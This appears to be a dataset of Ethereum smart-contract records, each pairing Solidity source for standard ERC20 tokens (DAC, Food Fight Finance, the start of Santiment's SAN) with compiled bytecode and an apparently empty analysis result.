MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract StandardBurnableToken is BurnableToken, StandardToken { /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } } contract DACToken is StandardBurnableToken { string public constant name = 'DAC'; string public constant symbol = 'DAC'; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 10e9 * 1e18 ; // 10 billion + 18 decimals constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(address(0), msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101ca57806323b872dd146101f55780632ff2e9dc1461027a578063313ce567146102a557806342966c68146102d6578063661884631461030357806370a082311461036857806379cc6790146103bf57806395d89b411461040c578063a9059cbb1461049c578063d73dd62314610501578063dd62ed3e14610566575b600080fd5b3480156100e157600080fd5b506100ea6105dd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610616565b604051808215151515815260200191505060405180910390f35b3480156101d657600080fd5b506101df610708565b6040518082815260200191505060405180910390f35b34801561020157600080fd5b50610260600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610712565b604051808215151515815260200191505060405180910390f35b34801561028657600080fd5b5061028f610acc565b6040518082815260200191505060405180910390f35b3480156102b157600080fd5b506102ba610adc565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102e257600080fd5b5061030160048036038101908080359060200190929190505050610ae1565b005b34801561030f57600080fd5b5061034e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aee565b604051808215151515815260200191505060405180910390f35b34801561037457600080fd5b506103a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d7f565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b5061040a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dc7565b005b34801561041857600080fd5b50610421610f6f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610461578082015181840152602081019050610446565b50505050905090810190601f16801561048e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a857600080fd5b506104e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fa8565b604051808215151515815260200191505060405180910390f35b34801561050d57600080fd5b5061054c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111c7565b604051808215151515815260200191505060405180910390f35b34801561057257600080fd5b506105c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113c3565b6040518082815260200191505060405180910390f35b6040805190810160405280600381526020017f444143000000000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561074f57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561079c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561082757600080fd5b610878826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144a90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461146390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109dc82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6b204fce5e3e2502611000000081565b601281565b610aeb338261147f565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bff576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c93565b610c12838261144a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610e5257600080fd5b610ee181600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144a90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f6b828261147f565b5050565b6040805190810160405280600381526020017f444143000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610fe557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561103257600080fd5b611083826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144a90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611116826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461146390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061125882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461146390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561145857fe5b818303905092915050565b6000818301905082811015151561147657fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156114cc57600080fd5b61151d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144a90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115748160015461144a90919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a72305820e22b734e7aea86cb13640e7757e7ad8700885449dec67348ad6aa8004a0994b50029
{"success": true, "error": null, "results": {}}
7,128
0xed2a38dfcc4958109206410ed0f08488873974dc
pragma solidity ^0.5.0; /***************************************************************************** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } /***************************************************************************** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /***************************************************************************** * @dev Basic implementation of the `IERC20` interface. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } /***************************************************************************** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Paused(); event Unpaused(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Paused(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpaused(); } } /** * @title Pausable token * @dev ERC20 modified with pausable transfers. **/ contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } /***************************************************************************** * @title FoodFightFinance * @dev FoodFightFinance is an ERC20 implementation of the FoodFightFinance ecosystem token. * All tokens are initially pre-assigned to the creator, and can later be distributed * freely using transfer transferFrom and other ERC20 functions. */ contract FoodFightFinance is Ownable, ERC20Pausable { string public constant name = "Food Fight Finance"; string public constant symbol = "FFF"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 14000*10**uint256(decimals); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public { _mint(msg.sender, initialSupply); } /** * @dev Destoys `amount` tokens from the caller. * * See `ERC20._burn`. */ function burn(uint256 amount) public { _burn(msg.sender, amount); } /** * @dev See `ERC20._burnFrom`. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } event DepositReceived(address indexed from, uint256 value); }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b4114610345578063a457c2d71461034d578063a9059cbb14610379578063dd62ed3e146103a5578063f2fde38b146103d35761012c565b806370a08231146102bf57806379cc6790146102e55780638456cb59146103115780638da5cb5b146103195780638f32d59b1461033d5761012c565b8063378dc3dc116100f4578063378dc3dc1461025c57806339509351146102645780633f4ba83a1461029057806342966c681461029a5780635c975abb146102b75761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806323b872dd14610208578063313ce5671461023e575b600080fd5b6101396103f9565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b038135169060200135610427565b604080519115158252519081900360200190f35b6101f6610452565b60408051918252519081900360200190f35b6101da6004803603606081101561021e57600080fd5b506001600160a01b03813581169160208101359091169060400135610458565b610246610485565b6040805160ff9092168252519081900360200190f35b6101f661048a565b6101da6004803603604081101561027a57600080fd5b506001600160a01b038135169060200135610498565b6102986104bc565b005b610298600480360360208110156102b057600080fd5b5035610563565b6101da610570565b6101f6600480360360208110156102d557600080fd5b50356001600160a01b0316610580565b610298600480360360408110156102fb57600080fd5b506001600160a01b03813516906020013561059b565b6102986105a9565b610321610657565b604080516001600160a01b039092168252519081900360200190f35b6101da610666565b610139610677565b6101da6004803603604081101561036357600080fd5b506001600160a01b038135169060200135610696565b6101da6004803603604081101561038f57600080fd5b506001600160a01b0381351690602001356106ba565b6101f6600480360360408110156103bb57600080fd5b506001600160a01b03813581169160200135166106de565b610298600480360360208110156103e957600080fd5b50356001600160a01b0316610709565b60405180604001604052806012815260200171466f6f642046696768742046696e616e636560701b81525081565b600354600090600160a01b900460ff161561044157600080fd5b61044b8383610803565b9392505050565b60025490565b600354600090600160a01b900460ff161561047257600080fd5b61047d848484610819565b949350505050565b601281565b6902f6f10780d22cc0000081565b600354600090600160a01b900460ff16156104b257600080fd5b61044b8383610870565b6104c4610666565b610515576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff1661052b57600080fd5b6003805460ff60a01b191690556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693390600090a1565b61056d33826108ac565b50565b600354600160a01b900460ff1681565b6001600160a01b031660009081526020819052604090205490565b6105a58282610985565b5050565b6105b1610666565b610602576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff161561061957600080fd5b6003805460ff60a01b1916600160a01b1790556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75290600090a1565b6003546001600160a01b031690565b6003546001600160a01b0316331490565b6040518060400160405280600381526020016223232360e91b81525081565b600354600090600160a01b900460ff16156106b057600080fd5b61044b83836109ca565b600354600090600160a01b900460ff16156106d457600080fd5b61044b8383610a06565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610711610666565b610762576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166107a75760405162461bcd60e51b8152600401808060200182810382526026815260200180610d1c6026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000610810338484610a13565b50600192915050565b6000610826848484610aff565b6001600160a01b038416600090815260016020908152604080832033808552925290912054610866918691610861908663ffffffff610c4116565b610a13565b5060019392505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610810918590610861908663ffffffff610c9e16565b6001600160a01b0382166108f15760405162461bcd60e51b8152600401808060200182810382526021815260200180610d646021913960400191505060405180910390fd5b600254610904908263ffffffff610c4116565b6002556001600160a01b038216600090815260208190526040902054610930908263ffffffff610c4116565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b61098f82826108ac565b6001600160a01b0382166000908152600160209081526040808320338085529252909120546105a5918491610861908563ffffffff610c4116565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610810918590610861908663ffffffff610c4116565b6000610810338484610aff565b6001600160a01b038316610a585760405162461bcd60e51b8152600401808060200182810382526024815260200180610daa6024913960400191505060405180910390fd5b6001600160a01b038216610a9d5760405162461bcd60e51b8152600401808060200182810382526022815260200180610d426022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b445760405162461bcd60e51b8152600401808060200182810382526025815260200180610d856025913960400191505060405180910390fd5b6001600160a01b038216610b895760405162461bcd60e51b8152600401808060200182810382526023815260200180610cf96023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054610bb2908263ffffffff610c4116565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610be7908263ffffffff610c9e16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082821115610c98576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60008282018381101561044b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820966868a7efaced0f88a174daa7f137a6392956a00185ad383fe35ef523aba03a64736f6c63430005110032
{"success": true, "error": null, "results": {}}
7,129
0x6fa8cd6a1a35542ba289437fe69e8f21ca1fa614
pragma solidity ^0.4.11; // ==== DISCLAIMER ==== // // ETHEREUM IS STILL AN EXPEREMENTAL TECHNOLOGY. // ALTHOUGH THIS SMART CONTRACT WAS CREATED WITH GREAT CARE AND IN THE HOPE OF BEING USEFUL, NO GUARANTEES OF FLAWLESS OPERATION CAN BE GIVEN. // IN PARTICULAR - SUBTILE BUGS, HACKER ATTACKS OR MALFUNCTION OF UNDERLYING TECHNOLOGY CAN CAUSE UNINTENTIONAL BEHAVIOUR. // YOU ARE STRONGLY ENCOURAGED TO STUDY THIS SMART CONTRACT CAREFULLY IN ORDER TO UNDERSTAND POSSIBLE EDGE CASES AND RISKS. // DON&#39;T USE THIS SMART CONTRACT IF YOU HAVE SUBSTANTIAL DOUBTS OR IF YOU DON&#39;T KNOW WHAT YOU ARE DOING. // // THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY // AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, // INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, // OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // ==== // /// @author Santiment LLC /// @title SAN - santiment token contract Base { function max(uint a, uint b) returns (uint) { return a >= b ? a : b; } function min(uint a, uint b) returns (uint) { return a <= b ? a : b; } modifier only(address allowed) { if (msg.sender != allowed) throw; _; } ///@return True if `_addr` is a contract function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) return false; uint size; assembly { size := extcodesize(_addr) } return (size > 0); } // ************************************************* // * 